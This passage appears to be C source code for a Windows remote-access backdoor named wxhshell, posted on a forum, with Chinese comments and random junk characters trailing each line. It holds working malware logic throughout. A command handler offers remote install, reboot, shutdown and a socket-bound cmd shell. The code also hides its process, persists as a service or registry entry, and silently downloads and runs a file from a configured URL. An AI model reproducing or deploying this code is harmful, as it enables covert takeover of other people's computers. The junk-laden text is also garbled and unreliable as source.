  // 帮助 7$kTeKiP  
  case '?': { +W|VCz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7MX5hZF"  
    break; No'Th7=|S  
  } xy^z_`  
  // 安装 wA";N=i=  
  case 'i': { x qj@T^y  
    if(Install()) E**Hu9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k~iA'E0-  
    else P9gAt4i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9'O@8KB_  
    break; *kNXju  
    } y#J8Yv8  
  // 卸载 ?[8s`caK.  
  case 'r': { ?2S<D5M Sb  
    if(Uninstall()) Cyp%E5b7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o|1_I?_  
    else nsXyReWka  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n?NUnFA  
    break;  )jH|j  
    } XTq+  9  
  // 显示 wxhshell 所在路径 Yx"~_xA/u  
  case 'p': { J'yiVneMw  
    char svExeFile[MAX_PATH]; j[$+hh3:  
    strcpy(svExeFile,"\n\r"); ~#:R1~rh\e  
      strcat(svExeFile,ExeFile); jGn2Q L  
        send(wsh,svExeFile,strlen(svExeFile),0); )Q~K\bJf  
    break; }ho6  
    } ]L!:/k,=S  
  // 重启 vn.j>;E'  
  case 'b': { 6P`!yBAu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CuYSvW  
    if(Boot(REBOOT)) 9t{Iv({6p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ghaO#kI  
    else { tf{o=X.)  
    closesocket(wsh); ;/(<yu48  
    ExitThread(0); T:VFyby\w  
    } _sqV@ J  
    break; $_u)~O4$  
    } kXZG<?  
  // 关机 $G#)D^-5G  
  case 'd': { +Y440Tz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DP &*P/  
    if(Boot(SHUTDOWN)) ~ ll+/w\4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ByW,YKMy  
    else { k mX:~KMb  
    closesocket(wsh); %H7H0 %qW  
    ExitThread(0); ]]V| ]}<)m  
    } a q]bF%7  
    break; ,M9Hdm  
    } &}b-aAt  
  // 获取shell g:[yA{Eh  
  case 's': { T3/Gl 6f  
    CmdShell(wsh); 0 t0m?rVW  
    closesocket(wsh); l\t<_p/I)^  
    ExitThread(0); h~.z[  
    break; PLQLGb4f_;  
  } 6$\'dkufQ  
  // 退出 w*IDL0#  
  case 'x': { Kfs|KIQ>=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VuA)Ye  
    CloseIt(wsh); f>ilk Q`  
    break; 9Z.W R-}  
    } {GQRJ8m  
  // 离开 *l8:%t\  
  case 'q': { t|cTl/i 4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u\}"l2 r  
    closesocket(wsh); %8! }" Xa  
    WSACleanup(); ~d&W;mef-  
    exit(1); ]t.6bb4  
    break; 8i?:aN[.1b  
        } ? VHOh9|AT  
  } u*<knZ~ty  
  } J+f*D+x1  
G>j4b}e  
  // 提示信息 DBZ^n9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P(~vqo>!  
} ~cW,B}  
  } hD>cxo  
E9v_6d[  
  return; F@kd[>/[  
} = GZ,P (  
>jg"y  
// shell模块句柄 2sahb#e )  
int CmdShell(SOCKET sock) .L))EB  
{ 9\a;75a  
STARTUPINFO si; W3 2]#M=  
ZeroMemory(&si,sizeof(si)); >Ef{e6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vFl06N2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~Jx0#+z9V  
PROCESS_INFORMATION ProcessInfo; P^& =L&U  
char cmdline[]="cmd"; Eh|v>Yew  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #@K %Mx  
  return 0; 9 az{j 1  
} rCgoU xW`  
\[W)[mH_  
// 自身启动模式 ^mCKRWOP'  
int StartFromService(void) rnS&^  
{ }(Dt,F`  
typedef struct *_!}g ]  
{ ,p[9EW*8  
  DWORD ExitStatus; {K42PmQL  
  DWORD PebBaseAddress; _Xzl=j9[  
  DWORD AffinityMask; *MZa|Xy  
  DWORD BasePriority; ctu`FQ  
  ULONG UniqueProcessId; [W*Q~Wvp  
  ULONG InheritedFromUniqueProcessId; f,'9Bj. ~  
}   PROCESS_BASIC_INFORMATION; 1_6oM/?'  
KVZ-T1K  
PROCNTQSIP NtQueryInformationProcess; ?Y\hC0a60  
-5sKJt]+i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .%T.sQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p1B~F  
M5T4{^i  
  HANDLE             hProcess; Mib<1ZM  
  PROCESS_BASIC_INFORMATION pbi; {~+o+LV  
C`r{B.t`GT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K%RjWX=H  
  if(NULL == hInst ) return 0; pkT26)aW  
\9T /%[r#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~Rk ~Zn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ud:5_*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VDy\2-b8d  
'fr~1pmx#3  
  if (!NtQueryInformationProcess) return 0; t p<wMrq<  
<X ~P62<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \O(~:KN  
  if(!hProcess) return 0; .<kbYo:MV  
P QA}_o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6PdLJ#LS  
6Dz N.fz  
  CloseHandle(hProcess); )HJ#|JpxC  
u5E\wRn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &_ W~d0  
if(hProcess==NULL) return 0; n|AV7c  
`T(T]^C98  
HMODULE hMod; ?Oyps7hXx  
char procName[255]; qM8"* dL  
unsigned long cbNeeded; *d mS'/  
{'$+?V"&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rs+ ["h  
q>Kzl/~c.P  
  CloseHandle(hProcess); Hh{pp ^  
O 6Mxp -  
if(strstr(procName,"services")) return 1; // 以服务启动 o#=@!m  
t) 4AQ  
  return 0; // 注册表启动 vj hh4$k  
} }`^D O Ar  
"z9 p(|oZ  
// 主模块 #[ ?E,  
int StartWxhshell(LPSTR lpCmdLine) y';"tDFb  
{ $s"{C"4q  
  SOCKET wsl; } za "rU  
BOOL val=TRUE; c= #V*<  
  int port=0; : oO ?A  
  struct sockaddr_in door; "1|\V.>>;  
['jr+gIfQ  
  if(wscfg.ws_autoins) Install(); -0f ,qNF  
ZYo?b"6A  
port=atoi(lpCmdLine); b  >x03%  
ibn(eu<uW  
if(port<=0) port=wscfg.ws_port; M" R= ;n  
`Tk GI0q  
  WSADATA data; ;<N%D=;}@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $~r_&1  
<tT.m[qg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z+g9!@'a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q]hl+C$d"/  
  door.sin_family = AF_INET; g`r4f%O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~Y3X*  
  door.sin_port = htons(port); i.Z iLDs\7  
20?@t.aMp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qs\*r@6?  
closesocket(wsl); 8"yZS)09  
return 1; Wf:LYL  
} pX?/=T@ Bw  
(Qf. S{;  
  if(listen(wsl,2) == INVALID_SOCKET) { HvLx  
closesocket(wsl); A5?q&VS}p  
return 1; 2wwJ>iR`  
} O 8XHaVLg3  
  Wxhshell(wsl); *~0U4kw+  
  WSACleanup(); l?)!^}Qc  
@RXkj-,eC#  
return 0; b!oj3|9  
Ge1b_?L_  
} EFn[[<&><t  
o1Nfn'!3/>  
// 以NT服务方式启动 L%;[tu(*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;LqpX!Pi f  
{ mnL+@mm  
DWORD   status = 0; 3 nnoXc'  
  DWORD   specificError = 0xfffffff; s`gfz}/  
<rxtdI"3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2;ju/9 x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "/nbcQ*s*E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %&j \:X~A  
  serviceStatus.dwWin32ExitCode     = 0; sf"vii,1A  
  serviceStatus.dwServiceSpecificExitCode = 0; t-Uo  
  serviceStatus.dwCheckPoint       = 0; [,56oMd~  
  serviceStatus.dwWaitHint       = 0; TyY%<NCIb  
BlfadM;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |8?e4yVd  
  if (hServiceStatusHandle==0) return; l 1vI  
DR7JEE  
status = GetLastError(); ?azcWf z0  
  if (status!=NO_ERROR) i ?PgYk&}  
{ >!Dp'6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q~`dxq`}  
    serviceStatus.dwCheckPoint       = 0; <b:xyHS  
    serviceStatus.dwWaitHint       = 0; bs0[ a 1/  
    serviceStatus.dwWin32ExitCode     = status; F-Bj  
    serviceStatus.dwServiceSpecificExitCode = specificError; ==AmL]*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pp@O6   
    return; otX/sg.B*  
  } |u]IOw&1  
3JEg3|M(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  JKV&c= I  
  serviceStatus.dwCheckPoint       = 0; qe 'RvBz  
  serviceStatus.dwWaitHint       = 0; 3~1Gts  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 54].p7  
} fcO|0cQ  
XAZPbvG|$  
// 处理NT服务事件,比如:启动、停止 W*B=j[w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _L+j6N.h1  
{ E0AbVa.  
switch(fdwControl) vXm'ARj  
{ 7=/iFv[  
case SERVICE_CONTROL_STOP: /cT6X]o8  
  serviceStatus.dwWin32ExitCode = 0; ZUkM8M$c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C_Z/7x*>d  
  serviceStatus.dwCheckPoint   = 0; 3 Ak'Ue  
  serviceStatus.dwWaitHint     = 0; d$"?8r4:K  
  { ,^RZ1tLz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n?U^vK_  
  } U(Tl$#Bt  
  return; O?ODfO+>  
case SERVICE_CONTROL_PAUSE: g(9kc<`3'D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $[Q;{Q  
  break; 67XUhnE  
case SERVICE_CONTROL_CONTINUE: JIIc4fyy8s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hpgOsF9Lh  
  break; <4n"LJ9  
case SERVICE_CONTROL_INTERROGATE: @lWYc`>}  
  break; =3ovaP  
}; 9kh MG$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [(eX\kL  
} f `D( V-4  
70'gVCb  
// 标准应用程序主函数 _xmQGX!|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <<b]v I  
{  +#\7 #Y  
ex BLj *]  
// 获取操作系统版本 ?GlXxx=eV  
OsIsNt=GetOsVer(); Si@ 6'sw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]&N>F8.L+  
TB-dV'w  
  // 从命令行安装 Zl>dBc%  
  if(strpbrk(lpCmdLine,"iI")) Install(); f >.^7.is  
,"Fl/AjO  
  // 下载执行文件 `5e{ec c7  
if(wscfg.ws_downexe) { 3-&~jm~"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p8 Ao{  
  WinExec(wscfg.ws_filenam,SW_HIDE); g)R2V  
} N6v?Qzvi  
P*H0Hwn;  
if(!OsIsNt) { S}a]Bt  
// 如果时win9x,隐藏进程并且设置为注册表启动 :%Oz:YxC/  
HideProc(); e"_kH_7sv  
StartWxhshell(lpCmdLine); 8t. QFze?  
} I&m' a  
else y$9! rbL  
  if(StartFromService()) 3H0B+F2XQ  
  // 以服务方式启动 PfyJJAQ[  
  StartServiceCtrlDispatcher(DispatchTable); `lQ;M?D  
else \Z,{De%  
  // 普通方式启动 <&#MX  
  StartWxhshell(lpCmdLine); k'k}/Hxub  
C fM[<w   
return 0; vQ]d?Tp  
}
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只看该作者 1 发表于: 2006-10-10
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